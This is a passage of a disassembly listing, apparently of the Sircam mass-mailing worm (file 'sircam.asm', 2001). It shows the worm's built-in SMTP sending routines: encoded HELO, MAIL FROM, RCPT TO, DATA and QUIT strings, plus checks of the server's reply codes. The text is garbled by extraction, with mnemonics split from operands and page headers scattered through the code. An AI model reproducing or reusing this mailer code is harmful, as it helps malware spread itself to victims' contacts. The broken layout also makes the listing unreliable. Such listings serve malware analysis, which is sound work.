; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_412DA0
proc near
; DATA XREF: CODE:00412D00\030o
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, [esi+4]
call
sub_402BDC
mov
edx, ebx
and
dl, 0FCh
mov
eax, esi
call
sub_402BCC
test
bl, bl
jle
short loc_412DCA
mov
eax, esi
call
sub_402D2C
loc_412DCA:
sub_412DA0
; CODE XREF: sub_412DA0+21\030j
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412DD0
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
mov
push
push
push
push
push
mov
xor
push
push
push
mov
xor
lea
mov
mov
mov
call
lea
mov
call
mov
call
cmp
jl
; CODE XREF: sub_412EA0+37\031p
; sub_412EA0+76\031p ...
ebp
ebp, esp
0
0
ebx
esi
edi
ebx, eax
eax, eax
ebp
offset loc_412E81
dword ptr fs:[eax]
fs:[eax], esp
esi, esi
ecx, [ebp+var_4]
edx, [ebx+8]
eax, [ebx+4]
edi, [eax]
dword ptr [edi+18h]
eax, [ebx+14h]
edx, [ebp+var_4]
sub_40351C
eax, [ebp+var_4]
sub_403724
eax, 3
short loc_412E51
sircam.asm
Fri Aug 10 12:42:44 2001
513
lea
eax, [ebp+var_8]
push
eax
mov
ecx, 3
mov
edx, 1
mov
eax, [ebp+var_4]
call
sub_40392C
mov
eax, [ebp+var_8]
xor
edx, edx
call
sub_407058
mov
esi, eax
jmp
short loc_412E51
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412E36:
; CODE XREF: sub_412DD0+91\031j
lea
ecx, [ebp+var_4]
mov
edx, [ebx+8]
mov
eax, [ebx+4]
mov
edi, [eax]
call
dword ptr [edi+18h]
mov
eax, [ebx+4]
cmp
dword ptr [eax+28h], 0
jz
short loc_412E51
xor
esi, esi
jmp
short loc_412E63
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412E51:
; CODE XREF: sub_412DD0+40\030j
; sub_412DD0+64\030j ...
mov
mov
call
cmp
jz
edx, [ebp+var_4]
eax, offset dword_412E9C
sub_4039B4
eax, 4
short loc_412E36
mov
xor
pop
pop
pop
mov
push
; CODE XREF: sub_412DD0+7F\030j
[ebx+10h], esi
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_412E88
loc_412E63:
loc_412E73:
sub_412DD0
; CODE XREF: CODE:00412E86\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -1Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412E81:
; DATA XREF: sub_412DD0+F\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_412E73
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412E88:
; DATA XREF: sub_412DD0+9E\030o
mov
eax, esi
pop
edi
pop
esi
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
sircam.asm
dword_412E9C
Fri Aug 10 12:42:44 2001
dd 2Dh
514
; DATA XREF: sub_412DD0+84\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412EA0
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
mov
push
push
push
push
push
mov
xor
push
push
push
mov
xor
mov
mov
mov
call
mov
cmp
jnz
mov
call
cmp
jnz
push
lea
mov
mov
call
push
push
lea
mov
call
mov
mov
mov
call
mov
call
cmp
jnz
mov
; CODE XREF: sub_413258+67\031p
; sub_418FBC+4D\031p
ebp
ebp, esp
0
0
ebx
esi
edi
esi, eax
eax, eax
ebp
offset loc_412F3F
dword ptr fs:[eax]
fs:[eax], esp
ebx, ebx
ecx, offset aSmtp ; "smtp"
edx, [esi+0Ch]
eax, [esi+4]
sub_40FAD4
eax, [esi+4]
dword ptr [eax+28h], 0
short loc_412F24
eax, esi
sub_412DD0
eax, 0DCh
short loc_412F24
offset dword_412F68
edx, [ebp+var_8]
edi, [esi+4]
eax, edi
sub_410074
[ebp+var_8]
offset dword_412F78
eax, [ebp+var_4]
edx, 3
sub_4037E4
edx, [ebp+var_4]
eax, edi
ecx, [eax]
dword ptr [ecx+0Ch]
eax, esi
sub_412DD0
eax, 0FAh
short loc_412F24
bl, 1
loc_412F24:
; CODE XREF: sub_412EA0+33\030j
; sub_412EA0+41\030j ...
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_412F46
lea
mov
call
eax, [ebp+var_8]
edx, 2
sub_4034EC
loc_412F31:
; CODE XREF: CODE:00412F44\031j
sircam.asm
sub_412EA0
Fri Aug 10 12:42:44 2001
515
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412F3F:
; DATA XREF: sub_412EA0+F\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_412F31
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412F46:
; DATA XREF: sub_412EA0+8C\030o
mov
eax, ebx
pop
edi
pop
esi
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 4
aSmtp
db ’smtp’,0
; DATA XREF: sub_412EA0+1C\030o
align 4
dd 0FFFFFFFFh, 5
dword_412F68
dd 4F4C4548h, 20h, 0FFFFFFFFh, 2 ; DATA XREF: sub_412EA0+43\030o
dword_412F78
dd 0A0Dh
; DATA XREF: sub_412EA0+58\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_412F7C
proc near
sub_412F7C
push
mov
mov
mov
mov
call
mov
call
mov
call
pop
retn
endp
; CODE XREF: sub_413258+BC\031p
; sub_418FBC+5E\031p
ebx
ebx, eax
edx, offset dword_412FA8
eax, [ebx+4]
ecx, [eax]
dword ptr [ecx+0Ch]
eax, ebx
sub_412DD0
eax, [ebx+4]
sub_40FAC8
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 6
dword_412FA8
dd 54495551h, 0A0Dh
; DATA XREF: sub_412F7C+3\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412FB0
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
mov
add
push
push
xor
mov
mov
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
ecx, ecx
[ebp+var_8], ecx
[ebp+var_4], edx
; CODE XREF: sub_413258+7D\031p
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
call
xor
push
push
push
mov
xor
push
push
push
push
lea
mov
call
mov
mov
mov
call
mov
call
cmp
jnz
mov
esi, eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_41302F
dword ptr fs:[eax]
fs:[eax], esp
ebx, ebx
offset dword_413048
[ebp+var_4]
offset dword_41305C
offset dword_413068
eax, [ebp+var_8]
edx, 4
sub_4037E4
edx, [ebp+var_8]
eax, [esi+4]
ecx, [eax]
dword ptr [ecx+0Ch]
eax, esi
sub_412DD0
eax, 0FAh
short loc_413014
bl, 1
xor
pop
pop
pop
mov
push
; CODE XREF: sub_412FB0+60\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_413036
loc_413014:
loc_413021:
sub_412FB0
516
; CODE XREF: CODE:00413034\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41302F:
; DATA XREF: sub_412FB0+1D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_413021
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413036:
; DATA XREF: sub_412FB0+6C\030o
mov
eax, ebx
pop
esi
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 0Bh
dword_413048
dd 4C49414Dh, 4F524620h, 3C3A4Dh, 0FFFFFFFFh, 1 ; DATA XREF: sub_412FB0+2
A\030o
dword_41305C
dd 3Eh, 0FFFFFFFFh, 2
; DATA XREF: sub_412FB0+32\030o
dword_413068
dd 0A0Dh
; DATA XREF: sub_412FB0+37\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41306C
proc near
; CODE XREF: sub_413258+93\031p
sircam.asm
var_8
var_4
Fri Aug 10 12:42:44 2001
= dword ptr -8
= dword ptr -4
push
mov
add
push
push
xor
mov
mov
mov
mov
call
xor
push
push
push
mov
xor
push
push
push
push
lea
mov
call
mov
mov
mov
call
mov
call
cmp
jnz
mov
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
ecx, ecx
[ebp+var_8], ecx
[ebp+var_4], edx
esi, eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_4130EB
dword ptr fs:[eax]
fs:[eax], esp
ebx, ebx
offset dword_413104
[ebp+var_4]
offset dword_413118
offset dword_413124
eax, [ebp+var_8]
edx, 4
sub_4037E4
edx, [ebp+var_8]
eax, [esi+4]
ecx, [eax]
dword ptr [ecx+0Ch]
eax, esi
sub_412DD0
eax, 0FAh
short loc_4130D0
bl, 1
xor
pop
pop
pop
mov
push
; CODE XREF: sub_41306C+60\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4130F2
loc_4130D0:
loc_4130DD:
sub_41306C
517
; CODE XREF: CODE:004130F0\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4130EB:
; DATA XREF: sub_41306C+1D\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4130DD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4130F2:
; DATA XREF: sub_41306C+6C\030o
mov
eax, ebx
pop
esi
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
dword_413104
\030o
dword_413118
dword_413124
Fri Aug 10 12:42:44 2001
518
align 4
dd 0FFFFFFFFh, 9
dd 54504352h, 3A4F5420h, 3Ch, 0FFFFFFFFh, 1 ; DATA XREF: sub_41306C+2A
dd 3Eh, 0FFFFFFFFh, 2
dd 0A0Dh
; DATA XREF: sub_41306C+32\030o
; DATA XREF: sub_41306C+37\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_413128
proc near
var_14
var_10
var_C
var_5
var_4
=
=
=
=
=
; CODE XREF: sub_413258+A9\031p
dword ptr -14h
dword ptr -10h
dword ptr -0Ch
byte ptr -5
dword ptr -4
push
mov
add
push
push
push
xor
mov
mov
mov
mov
xor
push
push
push
mov
mov
mov
mov
mov
call
mov
call
cmp
jnz
mov
mov
call
mov
dec
test
jl
inc
mov
ebp
ebp, esp
esp, 0FFFFFFECh
ebx
esi
edi
ecx, ecx
[ebp+var_14], ecx
[ebp+var_10], ecx
[ebp+var_4], edx
esi, eax
eax, eax
ebp
offset loc_413212
dword ptr fs:[eax]
fs:[eax], esp
[ebp+var_5], 0
edx, offset dword_41322C
eax, [esi+4]
ecx, [eax]
dword ptr [ecx+0Ch]
eax, esi
sub_412DD0
eax, 162h
loc_4131F7
eax, [ebp+var_4]
edx, [eax]
dword ptr [edx+14h]
ebx, eax
ebx
ebx, ebx
short loc_4131D8
ebx
[ebp+var_C], 0
lea
mov
mov
mov
call
mov
call
dec
jl
mov
cmp
jnz
lea
mov
mov
; CODE XREF: sub_413128+AE\031j
ecx, [ebp+var_10]
edx, [ebp+var_C]
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
eax, [ebp+var_10]
sub_403724
eax
short loc_4131B7
eax, [ebp+var_10]
byte ptr [eax], 2Eh
short loc_4131B7
eax, [ebp+var_10]
ecx, [ebp+var_10]
edx, offset dword_41323C
loc_413186:
sircam.asm
Fri Aug 10 12:42:44 2001
call
sub_403770
lea
mov
mov
call
mov
mov
mov
call
inc
dec
jnz
; CODE XREF: sub_413128+75\030j
; sub_413128+7D\030j
eax, [ebp+var_14]
ecx, offset dword_413248
edx, [ebp+var_10]
sub_403770
edx, [ebp+var_14]
eax, [esi+4]
ecx, [eax]
dword ptr [ecx+0Ch]
[ebp+var_C]
ebx
short loc_413186
mov
mov
mov
call
mov
call
cmp
jnz
mov
; CODE XREF: sub_413128+54\030j
edx, offset dword_413254
eax, [esi+4]
ecx, [eax]
dword ptr [ecx+0Ch]
eax, esi
sub_412DD0
eax, 0FAh
short loc_4131F7
[ebp+var_5], 1
loc_4131B7:
loc_4131D8:
loc_4131F7:
; CODE XREF: sub_413128+41\030j
; sub_413128+C9\030j
xor
pop
pop
pop
mov
push
loc_413204:
sub_413128
519
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_413219
; CODE XREF: CODE:00413217\031j
lea
eax, [ebp+var_14]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413212:
; DATA XREF: sub_413128+19\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_413204
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413219:
; DATA XREF: sub_413128+D7\030o
mov
al, [ebp-5]
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 6
dword_41322C
dd 41544144h, 0A0Dh, 0FFFFFFFFh, 1 ; DATA XREF: sub_413128+28\030o
dword_41323C
dd 2Eh, 0FFFFFFFFh, 2
; DATA XREF: sub_413128+85\030o
dword_413248
dd 0A0Dh, 0FFFFFFFFh, 3 ; DATA XREF: sub_413128+92\030o
dword_413254
dd 0A0D2Eh
; DATA XREF: sub_413128+B0\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sircam.asm
Fri Aug 10 12:42:44 2001
sub_413258
proc near
var_14
var_D
var_C
var_8
var_4
arg_0
=
=
=
=
=
=
520
; CODE XREF: sub_4190CC+CCB\031p
dword ptr -14h
byte ptr -0Dh
dword ptr -0Ch
dword ptr -8
dword ptr -4
dword ptr 8
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFECh
mov
[ebp+var_C], ecx
mov
[ebp+var_8], edx
mov
[ebp+var_4], eax
mov
eax, [ebp+var_4]
call
sub_4038D8
mov
eax, [ebp+var_8]
call
sub_4038D8
mov
eax, [ebp+var_C]
call
sub_4038D8
xor
eax, eax
push
ebp
push
offset loc_413355
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
[ebp+var_D], 0
mov
dl, 1
mov
eax, ds:off_412CB8
call
sub_412D28
mov
[ebp+var_14], eax
xor
eax, eax
push
ebp
push
offset loc_413333
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebp+var_14]
add
eax, 0Ch
mov
edx, [ebp+var_C]
call
sub_40351C
mov
eax, [ebp+var_14]
call
sub_412EA0
test
al, al
jnz
short loc_4132CF
call
sub_403038
jmp
short loc_41333A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4132CF:
; CODE XREF: sub_413258+6E\030j
mov
edx, [ebp+var_4]
mov
eax, [ebp+var_14]
call
sub_412FB0
test
al, al
jnz
short loc_4132E5
call
sub_403038
jmp
short loc_41333A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4132E5:
; CODE XREF: sub_413258+84\030j
mov
edx, [ebp+var_8]
mov
eax, [ebp+var_14]
call
sub_41306C
test
al, al
jnz
short loc_4132FB
call
sub_403038
jmp
short loc_41333A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4132FB:
; CODE XREF: sub_413258+9A\030j
sircam.asm
Fri Aug 10 12:42:44 2001
521
mov
edx, [ebp+arg_0]
mov
eax, [ebp+var_14]
call
sub_413128
test
al, al
jnz
short loc_413311
call
sub_403038
jmp
short loc_41333A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413311:
mov
call
mov
xor
pop
pop
pop
mov
push
; CODE XREF: sub_413258+B0\030j
eax, [ebp+var_14]
sub_412F7C
[ebp+var_D], 1
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41333A
loc_41332A:
; CODE XREF: sub_413258+E0\031j
mov
eax, [ebp+var_14]
call
sub_402BDC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413333:
; DATA XREF: sub_413258+4B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41332A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41333A:
; CODE XREF: sub_413258+75\030j
; sub_413258+8B\030j ...
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41335C
loc_413347:
sub_413258
; CODE XREF: CODE:0041335A\031j
lea
eax, [ebp+var_C]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -1Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413355:
; DATA XREF: sub_413258+2A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_413347
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41335C:
; DATA XREF: sub_413258+EA\030o
mov
al, [ebp-0Dh]
mov
esp, ebp
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_413368
proc near
push
ebp
; DATA XREF: CODE:0041A988\031o
sircam.asm
Fri Aug 10 12:42:44 2001
mov
xor
push
push
push
mov
inc
xor
pop
pop
pop
mov
push
522
ebp, esp
eax, eax
ebp
offset loc_41338D
dword ptr fs:[eax]
fs:[eax], esp
ds:dword_41E670
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_413394
locret_41338C:
; CODE XREF: sub_413368+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41338D:
; DATA XREF: sub_413368+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_41338C
